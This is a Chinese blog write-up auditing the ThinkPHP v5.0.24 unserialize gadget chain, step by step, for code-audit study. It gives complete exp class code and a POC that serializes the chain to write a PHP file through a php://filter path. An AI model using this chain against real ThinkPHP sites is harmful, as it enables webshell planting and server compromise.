首页 > 编程语言 >ThinkPHP v5.0.24 反序列化

ThinkPHP v5.0.24 反序列化

时间:2023-01-08 23:55:42浏览次数:63  
标签:24 function php name public __ ThinkPHP 序列化 think

ThinkPHP v5.0.24 反序列化

前言

昨天花了一下午的时间才把反序列化链给审明白,今天记录一下笔记再来审一遍。(自己还是太菜了~~~)

在我的印象中,ThinkPHP框架的漏洞非常多,所以也是学习代码审计的优选,提升代码能力,从每一天做起!

在这一次的审计中,因为没有使用动态调试,所以使用的是vscode进行审计,如果需要动态调试,我将会使用到PHPStorm。使用vscode的原因有:1. 具有语法高亮 2.可以进行定义跳转 3.可以进行全局文件及内容搜索,在分析的过程中我会逐一体现以上优点。

环境搭建

ThinkPHP这里提供两种环境搭建的方法

  1. 从Github中下载源码

https://github.com/top-think/think

再Releases中找到V5.0.24并下载

Untitled

之后在目录下通过composer去更新源码

composer update
  1. 通过composer直接下载源码

直接使用composer去创建一个v5.0.24的ThinkPHP项目

composer create-project topthink/think tp 5.0.24

源码下载完成之后,因为并不存在反序列化入口,所以需要我们手动添加

application\index\controller\Index.php中加入一个新的方法

public function hello()
{
    $payload = $_POST['payload'];
    @unserialize($payload);
    return "";
}

上下文如图:

Untitled

反序列化分析

先把反序列化链调用过程写出来:

File.php:160, think\cache\driver\File->set()
Memcache.php:94, think\session\driver\Memcache->write()
Output.php:154, think\console\Output->write()
Output.php:143, think\console\Output->writeln()
Output.php:124, think\console\Output->block()
Output.php:212, call_user_func_array()
Output.php:212, think\console\Output->__call()
Model.php:912, think\console\Output->getAttr()
Model.php:912, think\Model->toArray()
Model.php:936, think\Model->toJson()
Model.php:2267, think\Model->__toString()
Windows.php:163, file_exists()
Windows.php:163, think\process\pipes\Windows->removeFiles()
Windows.php:59, think\process\pipes\Windows->__destruct()
Index.php:14, app\index\controller\Index->hello()

Windows.php入口

前人栽树,后人乘凉,我们直接找到反序列化链的入口文件,从该类的__destruct方法开始寻找

使用Ctrl+P快速搜索文件

Untitled

使用Ctrl+F进行搜索定位关键字

Untitled

接着按住Ctrl然后左键点击removeFiles直接跳转到removeFiles方法

private function removeFiles()
{
    foreach ($this->files as $filename) {
        if (file_exists($filename)) {
            @unlink($filename);
        }
    }
    $this->files = [];
}

跟随可控点$this→files发现file_exists函数可以触发__toString方法

使用Ctrl+Shift+F进行全局搜索function __toString

Untitled

通过查看我们发现除了Input.phpExpression.php都是可以去接着触发__call方法的,这里我们选择大佬们选择的Model.php

Model.php中定义了一个抽象类Model,所以我们需要找到一个它的子类进行定义,这里我们只需要全局搜索extends Model,这里找到了MergePivot,都可以使用,这里选择Pivot

每结束一部分,我们去编写每一部分的exp,否则最后还得重头再找一遍

namespace think\process\pipes;

use think\model\Pivot;

class Pipes
{
}
class Windows extends Pipes
{
    private $files = [];
    public function __construct()
    {
        $this->files = [new Pivot()];
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}

Model.php过渡

跳转至该类的__toString方法

public function __toString()
{
    return $this->toJson();
}

继续跳转至toJson方法

public function toJson($options = JSON_UNESCAPED_UNICODE)
{
    return json_encode($this->toArray(), $options);
}

继续跳转至toArray方法

我们看到了有很多的代码,这是审计过程中的第一道难关,我们先去大概的看一下每条代码,尝试去寻找可控参数并且尝试进行下一次跳转

直到进入887行的if语句才有了可控参数跳转__call方法的机会

这里找到了3个利用点:

  1. 892行的$relation可控
  2. 896行的$relation可控
  3. 912行的$value可控

前两者的用法是一样的,最后一种难度较高,但这三个都可以成功利用,这里我们用第3种难度较高的

if (!empty($this->append)) {
    foreach ($this->append as $key => $name) {
        if (is_array($name)) {
            // 追加关联对象属性
            $relation   = $this->getAttr($key);
            $item[$key] = $relation->append($name)->toArray();
        } elseif (strpos($name, '.')) {
            list($key, $attr) = explode('.', $name);
            // 追加关联对象属性
            $relation   = $this->getAttr($key);
            $item[$key] = $relation->append([$attr])->toArray();
        } else {
            $relation = Loader::parseName($name, 1, false);
            if (method_exists($this, $relation)) {
                $modelRelation = $this->$relation();
                $value         = $this->getRelationData($modelRelation);

                if (method_exists($modelRelation, 'getBindAttr')) {
                    $bindAttr = $modelRelation->getBindAttr();
                    if ($bindAttr) {
                        foreach ($bindAttr as $key => $attr) {
                            $key = is_numeric($key) ? $attr : $key;
                            if (isset($this->data[$key])) {
                                throw new Exception('bind attr has exists:' . $key);
                            } else {
                                $item[$key] = $value ? $value->getAttr($attr) : null;
                            }
                        }
                        continue;
                    }
                }
                $item[$name] = $value;
            } else {
                $item[$name] = $this->getAttr($name);
            }
        }
    }
}

首先我们要保证$this→append数组不为空,其次在遍历数组时,要进入第三个else语句中,需要满足

is_array($name)    // 值不为数组
strpos($name, '.') // 值中不含.

之后进入了Loader::parseName方法

public static function parseName($name, $type = 0, $ucfirst = true)
{
    if ($type) {
        $name = preg_replace_callback('/_([a-zA-Z])/', function ($match) {
            return strtoupper($match[1]);
        }, $name);

        return $ucfirst ? ucfirst($name) : lcfirst($name);
    }

    return strtolower(trim(preg_replace("/[A-Z]/", "_\\0", $name), "_"));
}

就是对传入的参数进行了大小写转换和特殊符号转换,对正常字符串没有影响

我们想要达到912行还需要满足三个条件:

method_exists($this, $relation)                  // 自身中存在$relation方法
//$modelRelation = $this->$relation();
method_exists($modelRelation, 'getBindAttr')     // $modelRelation类中存在getBindAttr方法
//$bindAttr = $modelRelation->getBindAttr();
$bindAttr = $modelRelation->getBindAttr()        // $modelRelation->getBindAttr()的返回值为true
isset($this->data[$key])                         // $this->data[$key]不存在

首先$relation其实就是$name$name$this→append的值,故可控,并且该方法的返回值必须得存在getBindAttr方法才能满足第二个条件

我们先去找一下该类的哪一个方法可以返回一个任意的类对象,使用正则匹配return \$this->.*,我们能和找到不少可以利用的,我们使用逻辑简单的利用

public function getError()
{
    return $this->error;
}

我们只需要给$this→error赋值即可返回想要的类对象,我们再去全局搜索有getBindAttr方法的类,只找到了一个OneToOne抽象类,所以还需要搜索extends OneToOne

然后我们找到了HasOneBelongsTo类,二者都可利用,这里我们使用HasOne

public function getBindAttr()
{
    return $this->bindAttr;
}

然后需要满足第三个条件就需要使得getBindAttr方法返回一个true值,这里也是可控的,最后一个条件因为$this→data默认为空并且也是可控的,故很好满足

但是成功到达目的地后我们需要让$value为一个类对象从而实现向__call的跳转

$value         = $this->getRelationData($modelRelation);

如之前所说$modelRelationHasOne类示例,进入getRelationData方法

protected function getRelationData(Relation $modelRelation)
{
    if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
        $value = $this->parent;
    } else {
        // 首先获取关联数据
        if (method_exists($modelRelation, 'getRelation')) {
            $value = $modelRelation->getRelation();
        } else {
            throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
        }
    }
    return $value;
}

642行处我们可以获得我们想要的结果在651行返回,所以我们需要满足if语句的条件

$this->parent       // 不为空
!$modelRelation->isSelfRelation()     // Relation::isSelfRelation返回值为false
get_class($modelRelation->getModel()) == get_class($this->parent))   // Relation::getModel返回值类型和$this->parent相同

$this→parent可控,查看Relation::isSelfRelation方法

public function isSelfRelation()
{
    return $this->selfRelation;
}

$this->selfRelation可控,查看Relation::getModel方法

public function getModel()
{
    return $this->query->getModel();
}

Untitled

可控且默认为Query类,查看getModel方法

public function getModel()
{
    return $this->model;
}

$this->model可控,只需要让它和$this->parent类型相同即可,$this->parent又和$value相同,故我们先寻找__call方法,这里感觉也有好几个利用点,选择一个Output进行利用

于是我们编写这块的exp如下:

namespace think;

use think\console\Output;
use think\model\relation\HasOne;

abstract class Model implements \JsonSerializable, \ArrayAccess
{
    protected $append = [];
    protected $error;
    public $parent;
    public function __construct()
    {
        $this->append = ["getError"];
        $this->error = new HasOne();
        $this->parent = new Output();
    }
}

namespace think\model\relation;

use think\model\Relation;

abstract class OneToOne extends Relation
{

    protected $bindAttr = [];
    function __construct()
    {
				parent::__construct();
        $this->bindAttr = ["seizer", "seizer"];
    }
}

class HasOne extends OneToOne
{
		function __construct()
    {
        parent::__construct();
    }
}

namespace think\model;

use think\db\Query;

abstract class Relation
{
    protected $selfRelation;
		protected $query;
    public function __construct()
    {
        $this->selfRelation = false;
				$this->query = new Query();
    }
}

namespace think\db;

use think\console\Output;

class Query
{
    protected $model;
    public function __construct()
    {
        $this->model = new Output();
    }
}

Output.php过渡

跳转至__call方法,这里传入的第一个参数为”getAttr”和$this->bindAttr的值”seizer”,第二个参数为可控值

public function __call($method, $args) // getAttr, ["seizer"]
{
    if (in_array($method, $this->styles)) {
        array_unshift($args, $method);
        return call_user_func_array([$this, 'block'], $args);
    }

    if ($this->handle && method_exists($this->handle, $method)) {
        return call_user_func_array([$this->handle, $method], $args);
    } else {
        throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
    }
}

$this→styles可控,这里我们进入第一if进行追踪,跳转至block方法

protected function block($style, $message) // getAttr, seizer
{
    $this->writeln("<{$style}>{$message}</$style>");
}

跳转至writeln方法

public function writeln($messages, $type = self::OUTPUT_NORMAL) // <getAttr>seizer</getAttr>
{
    $this->write($messages, true, $type);
}

跳转至write方法

public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL) // <getAttr>seizer</getAttr>
{
    $this->handle->write($messages, $newline, $type);
}

$this→handle可控,搜索还有哪些类有可利用的write,这里选择Memcache.php中的write方法

编写这部分的exp:

namespace think\console;

use think\session\driver\Memcache;

class Output
{
    private $handle = null;
		protected $styles = [];
    public function __construct()
    {
        $this->handle = new Memcache();
				$this->styles = ['getAttr'];
    }
}

Memcache.php过渡

跳转至write方法

public function write($sessID, $sessData) // <getAttr>seizer</getAttr>, flase
{
    return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);
}

$this→headler可控,查看可跳转的set方法,这里选择了File.php的set方法进行利用

构造该部分的exp:

namespace think\session\driver;

use SessionHandler;
use think\cache\driver\File;

class Memcache extends SessionHandler
{
    protected $handler = null;
    public function __construct()
    {
        $this->handler = new File();
    }
}

File.php终点

public function set($name, $value, $expire = null) // <getAttr>seizer</getAttr>, flase
{
    if (is_null($expire)) {
        $expire = $this->options['expire'];
    }
    if ($expire instanceof \DateTime) {
        $expire = $expire->getTimestamp() - time();
    }
    $filename = $this->getCacheKey($name, true);
    if ($this->tag && !is_file($filename)) {
        $first = true;
    }
    $data = serialize($value);
    if ($this->options['data_compress'] && function_exists('gzcompress')) {
        //数据压缩
        $data = gzcompress($data, 3);
    }
    $data   = "<\?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
    var_dump($filename);
    echo "<br>";
    var_dump($data);
    echo "<br>";
    $result = file_put_contents($filename, $data);
    if ($result) {
        isset($first) && $this->setTagItem($filename);
        clearstatcache();
        return true;
    } else {
        return false;
    }
}

163行处存在危险函数file_put_contents,我们想办法加以利用写入webshell

149行$filenama由参数$name经过getCacheKey方法处理后的值

Untitled

其中$this->options可控,可以让cache_subdirfalse,让返回的$filename = $this->options['path'] . $name . '.php';,故$filename前部分内容可控

$data则是第二个参数$value的序列化值,不可控,再执行file_put_contents时还未能写入任意内容

进入161行调用的setTagItem方法

protected function setTagItem($name)
{
    if ($this->tag) {
        $key       = 'tag_' . md5($this->tag);
        $this->tag = null;
        if ($this->has($key)) {
            $value   = explode(',', $this->get($key));
            $value[] = $name;
            $value   = implode(',', array_unique($value));
        } else {
            $value = $name;
        }
        $this->set($key, $value, 0);
    }
}

这里200行再次调用set方法,且此时的第二个参数变为可控值,为$name也就是刚才的$filename

再次调用File::set方法,因为这里的$key也就是set方法的$name参数还会进入$this->getCacheKey方法,导致该参数也可控,从而使得第二次调用set时,file_put_contents的俩个参数都可控

我们构造这一块的exp:

namespace think\cache\driver;

use think\cache\Driver;

class File extends Driver
{
    protected $options = [];
    public function __construct()
    {
        parent::__construct();
        $this->options = [
            'expire'        => 0,
            'cache_subdir'  => false,
            'prefix'        => '',
            'path'          => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgcGhwaW5mbygpOz8+IA==/../a.php',
            'data_compress' => false,
        ];
    }
}

namespace think\cache;

abstract class Driver
{
    protected $tag;
    public function __construct()
    {
        $this->tag = true;
    }
}

POC

合并分析中所有的exp然后输出序列化字符串即可

use think\process\pipes\Windows;

echo urlencode(serialize(new Windows()));

打入payload后就会在根目录产生名为a.php3b58a9545013e88c7186db11bb158c44.php的php文件

Untitled

标签:24,function,php,name,public,__,ThinkPHP,序列化,think
From: https://www.cnblogs.com/seizer/p/17035791.html

相关文章

  • Phar反序列化漏洞
    前言通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大。但是利用phar文件会以反序列化的形式存......
  • 简单的24点小游戏
    简单的24点小游戏游戏规则随机生成4个数字(1-10),通过+-*/四则运算将4个数字算出24即可游戏设计生成4个数字,并给出参考答案随机生成0-10之间的4个整数穷举4个数所......
  • Go 自定义序列化
    实现MarshalJSON()([]byte,error)方法,序列化后可以把原来的枚举数转化为枚举数对应的字符串实现UnmarshalJSON([]byte)error方法,可以把byte中的枚举的字符串转化为对......
  • 牛客进阶刷题8:非整数倍数据位宽转换24to128
    第一阶段:120bit+8bit第二阶段:16bit+96bit+16bit第三阶段:8bit+120bit所以相当于发送了16个24bit数据,作为一个循环。第6、第11两个数据被拆开使用。根据上述分析可知,缓存......
  • p24-p25参数返回值局部变量以及堆排序代码实现
    函数的返回值8位(一个字节)则放到al16位放ax32位放eax64位放raxoffset偏移(可看作一个具体的地址参数传递的办法:1.寄存器2.堆栈整数类型的参数,一律使用int类型:无论......
  • 24种坏味道(重构2)
    神秘命名(MysteriousName)整洁代码最重要的一环就是好的名字。如何给函数、模块、变量和类定义一个清晰地并能表明自己的功能和用法的命名,能够让代码直观明了,是编程中......
  • drf-3.3反序列化使用
    反序列化使用1.验证使用序列化器进行反序列化时,需要对数据进行验证后,才能获取验证成功的数据或保存成模型类对象。在获取反序列化的数据前,必须调用is_valid()方法进行......
  • 241. 为表达式设置优先级
    问题链接https://leetcode.cn/problems/different-ways-to-add-parentheses/description/解题思路这个题目是一个典型的递归问题,也是一个典型的分治问题。我们讲过,递归......
  • 024.开发待审批表单Model层
    1.leave_form.xml<selectid="selectByParams"parameterType="java.util.Map"resultType="java.util.LinkedHashMap">selectf.*,e.name,d.*from......
  • Shiro-721反序列化漏洞
    漏洞名称Shiro-721(ApacheShiroPaddingOracleAttack)反序列化利用条件ApacheShiro<1.4.2漏洞原理ApacheShirocookie中使用AES-128-CBC模式加密的rememberMe字......